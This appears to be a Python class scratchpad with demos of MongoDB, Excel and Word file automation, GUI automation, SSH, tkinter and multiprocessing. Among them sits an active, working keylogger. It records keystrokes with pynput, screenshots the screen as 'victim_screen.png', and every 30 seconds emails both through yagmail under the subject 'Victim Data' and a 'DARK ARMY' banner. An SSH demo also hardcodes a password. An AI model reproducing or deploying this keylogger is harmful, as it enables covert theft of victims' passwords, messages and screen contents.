# #     {"first_name": "john", "last_name": "deep", "age": 35},
# #     {"first_name": "jimmy", "last_name": "shergill", "age": 37},
# #     {"first_name": "kamal", "last_name": "khan", "age": "unknown"},
# #     {"first_name": "john", "last_name": "cena", "age": 45},
# #     {"first_name": "arya", "last_name": "stark", "age": 19},
# # ]

# # coll.insert_one(doc)
# # coll.insert_many(users)

# # query = {"age": {"$gt": 35}}
# # new_value = {"$set": {"subjects": ["physics", "electronics", "comp sci"]}}

# # search_res = coll.find(query)

# # # print(search_res)

# # for doc in search_res:
# #     print(doc["first_name"])


# # coll.update_many(query, new_value)

# # coll.delete_many({})

# client.drop_database("pyclass")


# import openpyxl

# wb = openpyxl.Workbook()
# sheet = wb.active

# sheet.title = "My EXCEL Sheet"

# c1 = sheet.cell(row=1, column=1)
# c1.value = "First Name"

# c2 = sheet.cell(row=1, column=2)
# c2.value = "Last Name"

# sheet["C1"].value = "Phone No."
# sheet["D1"].value = "Email"

# wb.save(
#     r"C:\Users\rahul.LAPTOP-IB8N85JR\Desktop\Training\Python\Python Evening 28\scratchpads\users.xlsx"
# )

import openpyxl

path = r"C:\Users\rahul.LAPTOP-IB8N85JR\Desktop\Training\Python\Python Evening 28\scratchpads\users.xlsx"
wb = openpyxl.load_workbook(path)
sheet = wb.active

data = [
    ["John", "Doe", "1242353443", "john@doe.com"],
    ["Jane", "Doe", "1242353443", "john@doe.com"],
    ["Jack", "Doe", "1242353443", "john@doe.com"],
]


i = 2
while i < (len(data) + 2):
    j = 1
    while j < 5:
        sheet.cell(row=i, column=j).value = data[i - 2][j - 1]
        j += 1
    i += 1

wb.save(path)
print("Task completed!")
# import docx
# from docx.enum.text import WD_ALIGN_PARAGRAPH
# from docx.shared import Inches

# doc = docx.Document()
# doc.add_heading("Programatic Microsoft Document Creation", level=0)
# doc.add_heading("This is the subtitle", level=2)

# para = doc.add_paragraph(
#     "Lorem ipsum dolor sit amet consectetur adipisicing elit. Ad, accusamus harum! Minus, commodi! Reprehenderit cupiditate, culpa illo repellat accusantium dolorum. Molestiae aperiam beatae ipsam perferendis esse aspernatur exercitationem impedit minima?"
# )

# appended_text = para.add_run("\n\nReprehenderit cupiditate, culpa illo repellat.")
# appended_text.bold = True

# doc.add_heading("New Heading", level=4)
# para2 = doc.add_paragraph(
#     "Consectetur adipisicing elit. Ad, accusamus harum! Minus, commodi! Reprehenderit cupiditate, culpa illo repellat accusantium dolorum. Molestiae aperiam beatae ipsam perferendis esse aspernatur exercitationem impedit minima?"
# )

# para2.alignment = WD_ALIGN_PARAGRAPH.RIGHT
# doc.add_page_break()

# doc.add_heading("Second Page", level=1)

# doc.add_picture("img.jpg", width=Inches(4.0))

# doc.save(
#     r"C:\Users\rahul.LAPTOP-IB8N85JR\Desktop\Training\Python\Python Evening 28\scratchpads\mydoc.docx"
# )


# -------------

# from pywinauto.application import Application
# import pywinauto
# from time import sleep

# app = Application(backend="uia").start("notepad.exe")
# app.Untitled.menu_select("Help->About Notepad")

# top_window = app.top_window()
# # top_window.print_control_identifiers()
# # sleep(2)
# top_window.OK.click()

# text = "Consectetur adipisicing elit. Ad, accusamus harum! Minus, commodi! Reprehenderit cupiditate, culpa illo repellat accusantium dolorum. Molestiae aperiam beatae ipsam perferendis esse aspernatur exercitationem impedit minima?"

# app.Untitled.Edit.type_keys(text, with_spaces=True)
# app.Untitled.menu_select("File->Save")

# save_window = app.Untitled.child_window(title="Save As")
# # save_window.print_control_identifiers()
# save_window.ComboBox.Edit.type_keys("python_auto.txt")
# save_window.Save.click()

# ---------------
# import pyautogui
# from pywinauto.application import Application

# app = Application(backend="uia").start("mspaint.exe")
# print(pyautogui.size())

# distance = 200

# # pyautogui.dragRel(200, 400, 1)

# while distance > 0:
#     pyautogui.dragRel(distance, 0, duration=0.2)
#     distance = distance - 5
#     pyautogui.dragRel(0, distance, duration=0.2)
#     pyautogui.dragRel(-distance, 0, duration=0.2)
#     distance = distance - 5
#     pyautogui.dragRel(0, -distance, duration=0.2)


# pyautogui.screenshot("screen.png")

# ---------------

from pynput.keyboard import Key, Listener
import pyautogui
from datetime import datetime
import yagmail
import time
import os

os.system("cls")

count = 0
keys = []


try:
    print("Trying")

    def on_press(key):
        global keys, count
        keys.append(key)
        count += 1
        print(f"{key} pressed")
        if count >= 10:
            count = 0
            write_file(keys)
            keys = []

    def write_file(keys):
        with open("log.txt", "a") as f:
            for key in keys:
                k = str(key).replace("'", "")

                if k.find("space") > 0:
                    f.write(str(" "))
                elif k.find("cap_lock") > 0:
                    f.write(str("<CAPS_LOCK>"))
                elif k.find("enter") > 0:
                    f.write("\n")
                elif k.find("<97>") > -1:
                    f.write(str("1"))
                elif k.find("<98>") > -1:
                    f.write(str("2"))
                elif k.find("<99>") > -1:
                    f.write(str("3"))
                elif k.find("<100>") > -1:
                    f.write(str("4"))
                elif k.find("<101>") > -1:
                    f.write(str("5"))
                elif k.find("<102>") > -1:
                    f.write(str("6"))
                elif k.find("<103>") > -1:
                    f.write(str("7"))
                elif k.find("<104>") > -1:
                    f.write(str("8"))
                elif k.find("<105>") > -1:
                    f.write(str("9"))
                elif k.find("Key") == -1:
                    f.write(k)

    def on_release(key):
        if key == Key.esc:
            return False

    def take_screenshot():
        screen = pyautogui.screenshot()
        screen.save(r"victim_screen.png")

    def send_email():
        receiver_email = ["-----"]
        subject = f"Victim Data - {datetime.now().strftime('%d-%m-%Y %H-%M-%S')}"
        yag = yagmail.SMTP("-----", "-----")
        contents = [
            "<b><font color='red' size='10'>YOUR VICTIM! - DARK ARMY</font></b>",
            "log.txt",
            "victim_screen.png",
        ]

        yag.send(receiver_email, subject, contents)

    with Listener(on_press=on_press, on_release=on_release) as listener:
        while True:
            time.sleep(30)
            take_screenshot()
            send_email()
        listener.join()

except KeyboardInterrupt:
    print("Program closed!")
# import paramiko
# from time import sleep

# username = "rahul"
# password = "rahul@1234"
# ip = "192.168.1.132"

# ssh = paramiko.SSHClient()
# ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

# print("Going to connect...")

# ssh.connect(hostname=ip, username=username, password=password, port=22)

# commands = ["ifconfig", "neofetch"]

# for cmd in commands:
#     stdin, stdout, stderr = ssh.exec_command(cmd)
#     stdout = stdout.readlines()
#     for line in stdout:
#         print(line, end="")
#     sleep(1)


# import tkinter as tkt
# from tkinter import font

# window = tkt.Tk()

# fontstyle = font.Font(family="Arial", size="10")

# frame = tkt.Frame()
# frame1 = tkt.Frame()
# frame2 = tkt.Frame()

# app_name = tkt.Label(
#     text="Manjunath Computers",
#     foreground="white",
#     background="red",
#     padx=10,
#     pady=5,
#     font=font.Font(family="Arial", size="20"),
# )

# first_name = tkt.Label(text="First Name", font=fontstyle, master=frame1)
# first_name_entry = tkt.Entry(master=frame1)

# last_name = tkt.Label(text="Last Name", font=fontstyle, master=frame2)
# last_name_entry = tkt.Entry(master=frame2)

# submit_btn = tkt.Button(
#     text="Submit Data",
#     foreground="yellow",
#     background="blue",
#     command=lambda: lambda: print(first_name_entry.get(), last_name_entry.get()),
# )


# app_name.pack(fill=tkt.X)
# first_name.pack()
# first_name_entry.pack()
# last_name.pack()
# last_name_entry.pack()
# frame1.pack(side=tkt.LEFT)
# frame2.pack(side=tkt.LEFT)
# submit_btn.pack(side=tkt.LEFT, fill=tkt.Y)


# window.mainloop()


# ============
# Parallel   -> multi-processing
# ------------
# concurrency   -> multi-threading


from datetime import datetime
from time import sleep
import multiprocessing
import numpy


# start_time = datetime.now()
# sleep(3)
# print(f"Total time taken: {datetime.now() - start_time}")


def dummy_func(x):
    print(f"job-{x} start: {datetime.now()}")
    a = []
    for i in range(10000):
        for j in range(2000):
            a.append([i, j])
            a.clear()
    print(f"job-{x} ended: {datetime.now()}")


# Serially
# start_time = datetime.now()
# dummy_func(0)
# dummy_func(1)
# dummy_func(2)
# dummy_func(3)
# print(f"Total time taken: {datetime.now() - start_time}")

if __name__ == "__main__":
    # p1 = multiprocessing.Process(target=dummy_func, args=(0,))
    # p2 = multiprocessing.Process(target=dummy_func, args=(1,))
    # p3 = multiprocessing.Process(target=dummy_func, args=(2,))
    # p4 = multiprocessing.Process(target=dummy_func, args=(3,))

    # start_time = datetime.now()
    # p1.start()
    # p2.start()
    # p3.start()
    # p4.start()

    # p1.join()
    # p2.join()
    # p3.join()
    # p4.join()
    # print(f"Total time taken: {datetime.now() - start_time}")

    # start_time = datetime.now()
    # for i in range(8):
    #     dummy_func(i)
    # print(f"Total time taken: {datetime.now() - start_time}")

    start_time = datetime.now()
    pool = multiprocessing.Pool(4)
    # print(pool)

    new_list = numpy.reshape(list(range(8)), (2, 4))

    for list_item in new_list:
        pool.map(dummy_func, [i for i in list_item])

    print(f"Total time taken: {datetime.now() - start_time}")